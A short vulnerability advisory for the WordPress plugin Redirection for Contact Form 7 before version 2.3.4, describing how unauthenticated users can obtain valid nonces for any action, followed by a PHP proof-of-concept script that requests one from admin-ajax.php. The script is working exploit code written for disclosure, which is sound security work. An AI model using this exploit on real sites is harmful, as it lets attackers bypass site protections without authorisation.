Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation

Description

In the plugin, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

Proof of Concept

<?php
// Settings
$wp_url = $argv[1];

// Get nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
   'action' =>  'wpcf7r_get_nonce',
   'param' => '[ANY ACTION HERE]'

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);


?>